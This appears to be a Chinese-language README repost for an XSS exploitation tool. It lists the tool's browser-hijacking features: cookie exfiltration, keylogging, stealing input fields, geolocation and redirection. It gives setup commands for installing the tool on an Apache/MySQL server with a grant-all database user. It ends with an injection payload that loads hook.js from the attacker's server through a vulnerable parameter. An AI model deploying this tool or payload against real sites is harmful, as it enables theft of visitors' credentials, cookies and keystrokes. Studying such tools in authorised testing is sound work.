专注XSS跨站脚本漏洞利用工具

有关受害浏览器的技术数据受害者的地理位置被吸引/访问过的页面的快照被钩住/访问的页面的源代码窃取输入字段数据渗出cookie键盘记录显示警告框重定向用户

$ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom$ sudo rm /var/www/index.html

$ sudo apt-get install git


$ cd /tmp$ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git$ sudo mv XSS-Exploitation-Tool/* /var/www/html/

$ sudo apt-get install composer$ cd /var/www/html/$ sudo chown -R $your_debian_user:$your_debian_user /var/www/$ composer install$ sudo chown -R www-data:$www-data /var/www/

$ sudo mysql

MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet';Query OK, 0 rows affected (0.00 sec)


MariaDB [(none)]> flush privileges;Query OK, 0 rows affected (0.00 sec)


MariaDB [(none)]> quitBye

var address = "your server ip";

?vulnerable_param=<script src="http://your_server_ip/hook.js"/>